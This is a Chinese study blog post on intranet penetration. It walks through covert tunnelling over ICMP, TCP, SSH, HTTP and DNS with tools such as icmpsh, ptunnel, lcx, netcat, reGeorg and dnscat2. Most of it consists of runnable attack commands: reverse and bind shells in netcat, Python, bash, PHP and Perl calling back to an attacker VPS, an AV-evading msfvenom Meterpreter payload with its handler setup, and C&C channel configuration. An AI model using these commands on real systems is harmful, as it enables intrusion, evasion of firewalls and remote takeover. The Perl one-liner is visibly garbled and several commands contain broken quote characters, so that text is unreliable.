作为网络安全爱好者,对内网的渗透学习必不可少。因此从今天开始从零开始记录自己的内网学习过程,一方面是督促自己不断前行且学习新知识;另一方面是分享与读者,希望大家一起进步。这系列文章入门部分将参考徐焱老师的《内网安全攻防》这本书,并结合作者在安全牛课堂分享的学习讲解视频,且看且珍惜吧!督促自己完成每一个实验,把每一个细节搞懂,加油~
文章目录
提示:以下是本篇文章正文内容,欢迎阅读!
隐蔽通信隧道基础知识
经过前面信息收集的学习,知道了我是谁,我在哪,那么这章主要是我能去哪?
1.对进出口的流量是否连通的判断(判断内网的机器是否连通外网)
2.在非受信任的网络如何实现安全的传输
3.使用隐蔽的手段,逃避安全监测措施和溯源追踪
什么是隧道:
隧道是绕过防火墙端口屏蔽的一种通信方式,防火墙两端的数据包 ,通过防火墙所允许的数据包类型或者端口进行封装,然后穿过防火墙,与对方进行通信。当被封装的数据包到达目的地,进行还原。
比如防火墙只开放了53端口,只允许DNS协议通过,这时可将数据封装在DNS协议里面,从内网发出去,在外面再进行解封装。即可实现隐蔽通信。
常用的隧道技术:
- 网络层:IPv6隧道、ICMP隧道、GRE隧道
- 传输层:TCP隧道、UDP隧道、常规的端口转发。
- 应用层:SSH隧道、DNS隧道、HTTP隧道、HTTPS隧道
防火墙安装
右键 可移动电源 断开连接,移除光驱。
直接回车
全设置成功,4是重置。
DC主机,浏览器输入1.1.1.1 ,即可登录防火墙,默认账号密码 admin mono
Linux 修改IP设置
内网连通性判断
判断内网的连通性是指判断主机能否上外网等。常见的允许流量流出的端口有80、8080、443、53、110、123等。
1 ICMP协议
- ping:命令:ping <IP地址>
2 TCP协议
-
netcat:“瑞士军刀”,简称“nc”。通过使用TCP/UDP的网络连接来读写数据。使用命令:nc -zv <IP 端口号>
nc -zv 192.168.1.7 80
3 HTTP协议
- curl:curl是一个利用URL规则在命令行下工作的综合文件传输工具。unix自带,windows需要下载。
- 使用命令:curl < IP:端口号 >
4 DNS协议
- nslookup(windows)
- dig(linux)
5 代理服务器
有时候企业办公网利用代理服务器进行上网,判断方法:
- 查看网络连接
- 查看主机名是否有”proxy“的主机
- 查看IE的代理
网络层隧道
1 IPv6隧道
2 ICMP隧道
只要可以ping通,就可以尝试建立ICMP隧道,将数据包封装在ICMP里面,
ICMP隧道工具有PingTunnel,icmptunnel,Icmpsh,powershell icmp等
A.icmpsh
安装步骤:
git clonehttps://github.com/inquisb/icmpsh.git
apt-get install python-impacket
sysctl -w net.ipv4.icmp_echo_ignore_all=1 关闭本地系统icmp的应答接下来进入目录运行,输入./icmpsh_m.py 192.168.1.9 192.168.1.7 注意这里192.168.1.9代表目标主机的公网IP
在目标主机输入:
icmpsh.exe -t 192.168.1.9 -d 500 -b 30 -s 128 内网主机输入,可以连接成功,得到shell。
B.pingtunnel
上面的场景,192.168.1.0/24 代表外网,1.1.1.0/24表示内网,这里模拟的场景是黑客通过WEB获得了WEB服务器的权限。然后通过内网渗透获取数据库服务器的密码。 但是发现不能进行访问,只能ping通。这里用到ICMP隧道技术。
首先在外网的服务器VPS,和WEB服务器 安装一下icmp隧道工具。
下载地址:freshmeat.sourceforge.net/project/ptunnel
安装流程:
1.安装编译
tar xf PingTunnel-0.72.tar.gz
cd PingTunnel
make && make install2.缺少pcap.h
wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz
tar zxvf libpcap-1.9.0.tar.gz
cd libpcap-1.9.0
./configure3.yacc包错误
Sudo apt-get install –y byacc
./configure
make
sudo make install
运行ptunnel
服务器:
ptunnel -x shuteer
VPS:
ptunnel -p 192.168.1.11 -lp 1080 -da 1.1.1.10 -dp 3389 -x shuteer
参数说明:
-x 指定 icmp 隧道连接验证密码
-lp 指定要监听的本地 tcp 端口
-da 指定要转发到的机器的 ip 地址
-dp 指定要转发到的机器的 tcp 端口
-p 指定icmp隧道另一端机器的 ip 地址
所以这条语句的含义是 Web服务器 (192.168.1.11) 会把访问内网数据库服务器(1.1.1.10)的3389端口的数据包封装在ICMP隧道里,传给外网VPS服务器的1080端口,在访问攻击者的VPS服务器 192.168.1.9的 1080端口时,会收到相应的数据包。
防御措施:Wireshark 数据包分析,恶意流量分析。
传输层隧道技术
1 lcx端口转发
1.lcx端口转发
A.内网端口转发
目标机器:lcx.exe –slave 公网主机ip 4444 127.0.0.1 3389
VPS:lcx.exe –listen 4444 5555
B.本地端口映射
lcx -tran 53 目标主机ip 3389
2 netcat
下载链接
LINUX:
sudo yum install nc.x86_64
Wget http://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz/download -O netcat-0.7.1.tar.gz
WINDOWS:
Nc:https://joncraton.org/files/nc111nt.zip
Nc_safe:https://joncraton.org/files/nc111nt_safe.zip
参数说明:
-d 后台模式
-e 程序重定向
-g <网关> 设置路由器跃程通信网关,最多可设置8个;
-G <指向器数目> 设置来源路由指向器,其数值为4的倍数;
-h 在线帮助;
-i <延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口;
-l 使用监听模式,管控传入的资料;
-n 直接使用IP地址,而不通过域名服务器;
-o <输出文件> 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存;
-p <通信端口> 设置本地主机使用的通信端口;
-r 随机指定本地与远端主机的通信端口;
-s <来源位址> 设置本地主机送出数据包的IP地址;
-u 使用UDP传输协议;
-v 详细输出;
-w <超时秒数> 设置等待连线的时间;
-z 将输入输出关掉,只在扫描通信端口时使用。
Banner信息抓取
nc –nv 192.168.123.103 21
连接到远程主机
nc -nvv 192.168.11.135 80
端口扫描
nc -v 192.168.11.138 80
nc -v -z 192.168.11.138 20-1024
端口监听
Nc -l -p 9999
文件传输
Nc –lp 333 >1.txt
Nc -vn 192.168.1.4 333 < test.txt –q 1
获取shell
shell连接有两种:正向shell和反向shell
正向shell,指的是客户端连接服务器,客户端想获取服务器的shell,称为正向shell。即控制方主动发起连接去连接被控制方。
反向shell,指的是客户端连接服务器,服务器想获取客户端的shell,称为反向shell。即被控制方主动去连接控制方。
一般从外网搞内网用的都是反向shell,而在内网里面用的是正向shell。
1.正向 shell
目标主机监听:
Nc -lvp 4444 -e /bin/sh //linux
Nc -lvp 4444 -e C:\WINDOWS\system32\cmd.exe //windows本地主机:
Nc 192.168.1.11 4444
2.反向 shell
本地主机监听:
Nc -lvp 9999
目标主机:
Nc 192.168.11.144 9999 -e /bin/sh //linux
Nc 192.168.11.144 9999 -e C:\WINDOWS\system32\cmd.exe //windows
目标主机没装netcat,如何反向shell
1.python反向shell
VPS上监听端口:
Nc -lvp 2222
目标主机上执行:
python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.1.4”,2222));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);’
2.Bash反向shell
VPS上监听端口:
Nc -lvp 4444
目标主机上执行:
bash -i >& /dev/tcp/192.168.1.4/4444 0>&1
3.PHP反向shell
VPS上监听端口:
Nc -lvp 2222
目标主机上执行:
php -r ‘$sock=fsockopen(“192.168.1.4”,2222);exec("/bin/sh -i <&3 >&3 2>&3");’
4.Perl反向shell
VPS上监听端口:
Nc -lvp 4444
目标主机上执行:
perl -e ‘use Socket; i = ” 192.168.1.4 ″ ; i=”192.168.1.4″; i=”192.168.1.4″;p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in( p , i n e t a t o n ( p,inet_aton( p,inetaton(i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh -i”);};’
内网代理
外网VPS服务器,通过内网WEB服务器,获取内网数据库服务器shell
1.VPS监听端口
nc -lvp 3333
2.目标服务器执行
nc -lvp 3333 -e /bin/sh
3.边界服务器执行
nc -v 192.168.1.4 3333 -c
“nc -v 1.1.1.200 3333
边界服务器相当于做了代理,将目标数据库服务器的shell权限转移给外网VPS服务器。
应用层隧道技术–SSH隧道
什么是SSH?
SSH 端口转发能够提供两大功能:1.加密 SSH Client 端至 SSH Server 端之间的通讯数据。2.突破防火墙的限制完成一些之前无法建立的 TCP 连接。
常规操作
ssh root@192.168.1.1 –P 22
密码登录过程
1.远程主机收到用户的登录请求,把自己的公钥发给用户
2.用户使用该公钥,将登录密码加密后,发送给远程主机。
3.远程主机用自己的私钥,解密登录密码,如果密码正确,就用户登录。
本地端口转发
原理:
VPS 攻击服务器,不能直接访问内网设备的数据库服务器,但是可以访问WEB服务器,所以可以通过WEB服务器作为跳板,通过WEB服务器访问数据库服务器,然后再将数据传出来。
配置:
Vi /etc/ssh/sshd_config SSH配置文件
AllowTcpForwarding yes 是否允许转发TCP协议GatewayPorts yes 是否允许远程主机连接本地转发端口
PermitRootLogin yes 是否允许root登录
PasswordAuthentication yes 是否允许使用基于密码的认证
TCPKeepAlive yes 保持心跳,防止 ssh 断开service ssh restart /etc/init.d/ssh restart
利用:
在VPS服务器执行以下命令:
格式: ssh –L 本地端口:目标主机:目标端口 jump主机
示例:$ ssh -L 2121:1.1.10:21 root@192.168.1.11
ssh –CfNg –L 2121:1.1.1.10:3389 root@192.168.1.11
连接后需要输入WEB服务器的密码netstat -tulnp | grep “2121” 查看本地端口是否连接
rdesktop 127.0.0.1:2121 访问本地系统的2121端口
常见建立ssh隧道所用到参数说明:
-C 压缩传输,加快传输速度
-f 将SSH转入后台执行,不占用当前的shell
-N 建立静默连接(建立了连接,但是看不到具体会话)
-g 允许远程主机连接到本地用于转发的端口
-L 本地端口转发
-R 远程端口转发
-D 动态转发(socks代理)
-P 指定SSH端口
借助WEB服务器做跳板,下面是原理图:
msfvenom实战:
msfvenom是净荷生成和编码的组合,取代了 msfpayload 和 msfencode ,编码是为了免杀
msfvenom -p windows/meterpreter/reverse_tcp_rc4_dns lhost=192.168.1. 1 lport=53 rc4password=shuteer -e x86/shikata_ga_nai -b ‘\x00’ -i 5 -f exe -o rever.exe
msfvenom 常规选项用途:-l 列出所有可用的载荷列表(payload), -l payloads
-p 选择一个payload,也可以使用自定义payload, 支持全平台
-f 生成文件格式, --help-formats,可查看支持的所有输出格式
-e 编码方式,-l encoders,可查看支持可使用编码器
-i 编码的次数
-a 系统架构,默认X86,指定目标平台:–platform xxx,–list platform
-b 在生成的Payload中避免出现的值,添加这个参数,msfvenom 将会自动寻找合适的编码器来编码 Payload
-x 允许我们指定一个自定义的可执行文件作为模板,也就是将木马捆绑到这个可执行文件上
-k 当模板被执行时,payload自动分离并注入到新的进程中,一般和-x选项一并使用
-o 指定创建好的payload的存放位置
-h 帮助
在VPS主机上:
1.设置一个反向Payload,VPS做好监听
msfvenom -p windows/meterpreter/reverse_tcp_rc4_dns lhost=1.1.1.155 lport=53 rc4password=shuteer -e x86/shikata_ga_nai -b ‘\x00’ -i 5 -f exe -o rever.exe生成rever.exe 程序,然后可以复制到需要反弹的内网主机上
2.运行MSF
set payload windows/meterpreter/reverse_tcp_rc4_dns
set lport 53
set lhost=1.1.1.155
set rc4password shuteer
set exitonsession false
show options
exploit -j
边界服务器上开启端口转发,见上面的配置
在目标主机
ssh –L 本地端口:目标主机:目标端口 jump
ssh -CfNgL 53:192.168.1.10:53 root@1.1.1.116 -p 22
然后将生成的rever.exe 程序,复制到想要连接的内网主机上执行。(可以是DC,也可以是其他主机)
在VPS主机执行
sessions 查看连接
sessions -i 1 进入主机,可以执行shell命令
远程端口转发
相比较于本地端口转发,跳转主机没有外网IP地址,但是可以访问外网。因此,VPS服务器不能访问它。
所以要用内网的主机,去访问外网VPS。下面的远程主机端口,是VPS的端口。
利用:
在web服务器端执行以下命令:
格式: ssh –R 远程主机端口:目标主机:目标端口 远端VPS主机
示例:$ ssh -R 2121:1.1.1.10:3389 root@192.168.1.4
动态转发
建立一个SSH加密的SOCKS 代理通道,任何支持这个协议的程序都可以使用这个通道进行代理访问。比如:买一台海外服务器,通过这个可以进行访问。
在VPS 服务器执行命令:
ssh -D 7000 root@192.168.1.11
应用层隧道技术–HTTP/HTTPS协议
使用工具:reGeorg
下载地址:https://github.com/sensepost/reGeorg
reGeorg工具有PHP,JSP,ASPX等web脚本,将脚本文件上传到服务器中,使用kali本地访问远程服务器的tunnel.jsp脚本文件,返回后利用reGeorgSocksProxy.py脚本监听本地9999端口,即可建立一个通信链路
python reGeorgSocksProxy -u http://[服务器IP:端口]/tunnel.jsp -p 9999
建立隧道后,在使用ProxyChains之类的工具,访问目标的资源
应用层隧道技术–DNS隧道
原理:
DNS协议是一种请求/应答协议,可应用于应用层隧道技术。将数据封装在DNS查询响应数据包里面,进行通信。比较隐蔽,可绕过防火墙的拦截。
用户管理僵尸网络和进行APT攻击的服务器叫做C&C服务器(Command and Control Server,命令及控制服务器)。C&C节点分为两中种,一种是C&C服务端(攻击者),另一种是C&C客户端(被控制的计算机)。C&C通信是指植入C&C客户端的木马或者后门程序与C&C服务端上的远程控制程序之间的通信。
DNS隧道的工作原理很简单:在进行DNS查询时,如果查询的域名不在DNS服务器本机的缓存中,就会访问互联网进行查询,然后返回结果,如果互联网上有一台定制的服务器,那么依靠DNS协议就可以进行数据包的交换,从DNS协议的角度来看,这样的操作只是一次次地查询某个特定的域名并且得到解析结果,但其本质的问题是,预期的返回结果应该是一个IP地址,而事实上不是——返回的可以是任意字符串,包括加密的C&C指令。简单地说,就是将其他协议封装在DNS协议中进行传输。
DNS隧道工具–Dnscat2
dnscat2:它使用DNS协议创建加密的C&C通道,通过预共享密钥身份验证。该工具客户端是由C编写,服务端是由Ruby编写的。它有两种模式:直连模式:客户端直接向指定的IP地址的DNS服务器发起解析请求。中继模式:DNS通过互联网的迭代查询,指向指定的DNS服务器。
在使用该工具的时候需要先部署域名解析,测试部署是否成功。安装服务端。
启动服务端:sudo ruby ./dnscat.rb vpn.360bobao.com -e open -c ms08067.com --no-cache -c:指定使用预共享的密钥进行生成验证一面中间人攻击 -e:规定安全级别,open表示服务端允许客户端不进行加密 --no-cache表示禁止缓存,必须要添加该选项
如果是直连模式:sudo ruby ./dnscat.rb --dns server=127.0.0.1,port=53,type=TXT --secret=ms08067.com 表示监听本地的53端口,自定义连接密码是ms08067.com
在目标主机上安装客户端:测试是否连通于服务端:dnscat.exe --ping vpn.360bobao.com
客户端连接服务端:dnscat.exe --dns domain=vpn.360bobao.com --secret ms08067.com
如果服务端使用的是直连模式:dnscat --dns server=,port=53,type=TXT, --secret=ms08067.com
当客户端和服务端连通之后就可以执行命令了
具体详情请参考内网安全攻防这本书
DNS隧道工具–iodine
总结
下面是关于各种隧道技术的总结与比较:
上面就是内网隧道技术的所有知识,要想了解更多详情可阅读《内网安全攻防–渗透测试行动指南》这本书。